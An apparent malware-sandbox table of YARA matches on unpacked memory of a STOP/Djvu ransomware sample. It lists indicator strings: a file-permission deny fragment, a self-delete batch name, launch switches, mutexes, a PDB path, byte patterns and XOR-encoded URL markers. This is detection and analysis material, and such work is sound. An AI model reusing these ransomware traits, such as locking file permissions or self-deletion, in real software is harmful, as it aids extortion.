2.2.bE5aaTiJM0.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.bE5aaTiJM0.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
8.2.bE5aaTiJM0.exe.43515a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
8.2.bE5aaTiJM0.exe.43515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.bE5aaTiJM0.exe.43515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.bE5aaTiJM0.exe.43515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.bE5aaTiJM0.exe.42915a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
7.2.bE5aaTiJM0.exe.42915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.bE5aaTiJM0.exe.42915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.bE5aaTiJM0.exe.42915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.bE5aaTiJM0.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.2.bE5aaTiJM0.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.bE5aaTiJM0.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
